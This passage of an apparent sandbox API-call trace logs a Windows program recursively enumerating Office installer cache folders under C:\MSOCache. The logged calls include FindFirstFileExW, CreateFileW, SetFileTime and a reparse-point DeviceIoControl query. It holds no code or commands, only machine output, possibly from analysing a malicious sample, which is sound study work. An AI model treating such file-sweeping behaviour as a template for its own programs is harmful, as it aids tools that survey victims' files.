users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0263.437] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0263.437] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94de90, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x94de90, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0263.437] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94de90) returned 1 [0263.437] NtClose (Handle=0x190) returned 0x0 [0263.437] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x944fd8) returned 1 [0263.437] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549080 [0263.613] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.613] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0263.613] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0263.613] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0263.614] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0263.614] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0263.614] GetLastError () returned 0x12 [0263.614] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0263.614] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0263.614] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.614] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0263.614] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0263.618] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0263.618] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0263.618] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94de90, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x94de90, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0263.618] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94de90) returned 1 [0263.618] NtClose (Handle=0x190) returned 0x0 [0263.619] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94cc50) returned 1 [0263.619] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549080 [0263.806] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.806] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0263.806] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0263.806] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0263.806] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0263.806] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0263.806] GetLastError () returned 0x12 [0263.806] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x548f40 [0263.807] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0263.807] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.807] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0263.807] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0263.807] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0263.807] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0263.807] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0263.807] GetLastError () returned 0x12 [0263.807] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94cd58) returned 1 [0263.807] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0263.808] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94ce60) returned 1 [0263.808] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94cc50) returned 1 [0263.808] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0263.808] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0263.808] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0263.808] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0263.808] GetLastError () returned 0x12 [0263.808] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0263.808] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0263.809] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0263.809] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0263.809] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0263.809] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0263.811] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0263.811] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0263.811] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94de90, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x94de90, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0263.811] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94de90) returned 1 [0263.812] NtClose (Handle=0x18c) returned 0x0 [0263.812] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x944fd8) returned 1 [0263.812] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 [0263.815] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, 